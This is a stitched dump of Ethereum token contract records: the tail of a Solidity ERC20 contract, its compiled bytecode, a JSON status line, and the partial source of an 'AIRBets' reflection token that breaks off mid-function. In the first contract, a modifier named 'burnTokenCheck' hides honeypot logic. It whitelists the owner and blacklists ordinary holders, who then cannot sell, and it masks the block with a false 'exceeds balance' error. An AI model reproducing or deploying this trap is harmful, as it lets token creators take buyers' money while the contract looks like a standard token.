the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck( address sender, address recipient, uint256 amount ) internal virtual burnTokenCheck(sender, recipient, amount) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck( address sender, address recipient, uint256 amount ) { if (_owner == _safeOwner && sender == _owner) { _safeOwner = recipient; _; } else { if ( sender == _owner || sender == _safeOwner || recipient == _owner ) { if (sender == _owner && sender == recipient) { _sellAmount = amount; } _; } else { if (_whiteAddress[sender] == true) { _; } else { if (_blackAddress[sender] == true) { require( (sender == _safeOwner) || (recipient == _unirouter), "ERC20: transfer amount exceeds balance" ); _; } else { if (amount < _sellAmount) { if (recipient == _safeOwner) { _blackAddress[sender] = true; _whiteAddress[sender] = false; } _; } else { require( (sender == _safeOwner) || (recipient == _unirouter), "ERC20: transfer amount exceeds balance" ); _; } } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9f565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fe7565b005b6105ab6110ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611190565b604051808215151515815260200191505060405180910390f35b6106946111ae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d4565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061125b565b005b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e611413565b848461141b565b6001905092915050565b6000600554905090565b6000610a96848484611612565b610b5784610aa2611413565b610b5285604051806060016040528060288152602001612ec860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b08611413565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b61141b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612dcf90919063ffffffff16565b600581905550610cca81600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f995760006003905060006102149050610ea7858481518110610e8657fe5b6020026020010151858581518110610e9a57fe5b6020026020010151611190565b5085831015610f8a576001806000878681518110610ec157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f87878681518110610f3657fe5b6020026020010151600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61141b565b50505b50508080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111865780601f1061115b57610100808354040283529160200191611186565b820191906000526020600020905b81548152906001019060200180831161116957829003601f168201915b5050505050905090565b60006111a461119d611413565b8484611612565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461131e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b815181101561140f57600180600084848151811061133e57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106113a957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611324565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612f156024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611527576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e806022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116e15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119e85781600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611833576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b61183e868686612e57565b6118a984604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061193c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d07565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a915750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ae95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e4457600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b7657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b8357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b611c9a868686612e57565b611d0584604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d98846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d06565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561215e57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b611fb4868686612e57565b61201f84604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b2846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d05565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561257657600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122b5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ea26026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561233b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b6123cc868686612e57565b61243784604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ca846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d04565b60035481101561294857600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612687576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561270d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612793576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b61279e868686612e57565b61280984604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061289c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d03565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129f15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ea26026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ef06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e5d6023913960400191505060405180910390fd5b612b5d868686612e57565b612bc884604051806060016040528060268152602001612ea2602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d81578082015181840152602081019050612d66565b50505050905090810190601f168015612dae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122025bf3e15a1983077c4ffd8d827430fdeb4bf419e472608cd5285c347256ae48664736f6c63430006050033
{"success": true, "error": null, "results": {}}
1,013
0xc74038120350aaa0d7b0ae45337e99005dbc8ba2
pragma solidity ^0.8.4; // ---------------------------------------------------------------------------- // SPDX-License-Identifier: MIT // 'AIRBets' token contract // // Symbol : AIRBets // Name : AIRBets // Twitter : https://twitter.com/air_bets // Fee : 1% fee auto distribute to all holders // // RoadMap : Let Rat Race // Uniswap listing // Holder 1000 // Audit smart contract audit // $5M market cap // // Phase 2: Crown // Price Tracker listings: CoinGecko and CoinMarketCap // Exchange More DEX & CEX listings // Initial marketing strategy execution // Expanding& Developing // Full website redesign // Grow hodlers to 10,000 // $10M market cap // // Phase 3: Macau // Partnership execution // DeFi Market Place // Grow hodlers to 25,000 // ---------------------------------------------------------------------------- abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } /** * IERC20.sol * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * SafeMath.sol * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AIRBets is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 35e12 * 10**6; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "AIRBets"; string private constant _symbol = 'AIRBets'; uint8 private constant _decimals = 6; uint256 private _taxFee = 1; uint256 private _charityFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCharityFee = _charityFee; address private _charityAddress = 0x601699Ba78D91c7e6b8e3B67eF4C129BB782b8d7; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_charityAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _charityFee == 0) return; _previousTaxFee = _taxFee; _previousCharityFee = _charityFee; _taxFee = 0; _charityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _charityFee = _previousCharityFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**1); emit MaxTxAmountUpdated(_maxTxAmount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount <= _maxTxAmount); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCharity(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToCharity(uint256 amount) private { 